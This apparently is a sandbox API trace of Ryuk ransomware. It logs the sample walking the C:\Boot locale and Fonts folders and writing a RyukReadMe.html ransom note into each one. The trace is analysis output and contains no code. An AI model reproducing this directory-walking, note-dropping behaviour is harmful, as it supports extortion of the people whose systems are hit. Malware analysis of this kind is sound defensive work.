	[0244.854] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.855] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.855] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.855] SetLastError (dwErrCode=0x0) 
	[0244.855] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\RyukReadMe.html" (normalized: "c:\\boot\\fi-fi\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.855] GetLastError () returned 0x0
	[0244.855] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.857] CloseHandle (hObject=0x35c) returned 1
	[0244.857] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0244.857] SetLastError (dwErrCode=0x0) 
	[0244.857] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.858] GetLastError () returned 0xb7
	[0244.858] CloseHandle (hObject=0x35c) returned 1
	[0244.858] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.858] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.858] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x2e, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0244.858] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x2e, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0244.858] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x2e, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0244.858] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x2e, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0244.858] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x2e, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0244.859] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x2e, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0244.859] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.859] SetLastError (dwErrCode=0x0) 
	[0244.859] CreateFileW (lpFileName="C:\\Boot\\Fonts\\RyukReadMe.html" (normalized: "c:\\boot\\fonts\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.934] GetLastError () returned 0x0
	[0244.934] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.936] CloseHandle (hObject=0x35c) returned 1
	[0244.936] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0244.936] SetLastError (dwErrCode=0x0) 
	[0244.936] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.936] GetLastError () returned 0xb7
	[0244.936] CloseHandle (hObject=0x35c) returned 1
	[0244.936] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.937] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.937] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.937] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.937] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.937] SetLastError (dwErrCode=0x0) 
	[0244.937] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\RyukReadMe.html" (normalized: "c:\\boot\\fr-fr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.938] GetLastError () returned 0x0
	[0244.938] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.940] CloseHandle (hObject=0x35c) returned 1
	[0244.940] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0244.940] SetLastError (dwErrCode=0x0) 
	[0244.940] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.940] GetLastError () returned 0xb7
	[0244.940] CloseHandle (hObject=0x35c) returned 1
	[0244.940] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.941] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.941] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.941] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.941] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.941] SetLastError (dwErrCode=0x0) 
	[0244.941] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\RyukReadMe.html" (normalized: "c:\\boot\\hu-hu\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.942] GetLastError () returned 0x0
	[0244.942] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.944] CloseHandle (hObject=0x35c) returned 1
	[0244.944] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0244.944] SetLastError (dwErrCode=0x0) 
	[0244.944] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.944] GetLastError () returned 0xb7
	[0244.944] CloseHandle (hObject=0x35c) returned 1
	[0244.944] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.945] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.945] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.945] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.945] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.945] SetLastError (dwErrCode=0x0) 
	[0244.945] CreateFileW (lpFileName="C:\\Boot\\it-IT\\RyukReadMe.html" (normalized: "c:\\boot\\it-it\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.946] GetLastError () returned 0x0
	[0244.946] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.948] CloseHandle (hObject=0x35c) returned 1
	[0244.948] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0244.948] SetLastError (dwErrCode=0x0) 
	[0244.948] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.948] GetLastError () returned 0xb7
	[0244.949] CloseHandle (hObject=0x35c) returned 1
	[0244.949] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.949] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.949] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0244.949] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0244.949] FindClose (in: hFindFile=0x3ef1f0 | out: hFindFile=0x3ef1f0) returned 1
	[0244.949] SetLastError (dwErrCode=0x0) 
	[0244.950] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\RyukReadMe.html" (normalized: "c:\\boot\\ja-jp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.950] GetLastError () returned 0x0
	[0244.950] WriteFile (in: hFile=0x35c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x193138, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x193138*=0x273, lpOverlapped=0x0) returned 1
	[0244.952] CloseHandle (hObject=0x35c) returned 1
	[0244.952] FindNextFileW (in: hFindFile=0x3ef0d0, lpFindFileData=0x1931f0 | out: lpFindFileData=0x1931f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0244.952] SetLastError (dwErrCode=0x0) 
	[0244.952] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.952] GetLastError () returned 0xb7
	[0244.952] CloseHandle (hObject=0x35c) returned 1
	[0244.953] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef1f0
	[0244.953] FindNextFileW (in: hFindFile=0x3ef1f0, lpFindFileData=0x192ac0 | out: lpFindFileData=0x192ac0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
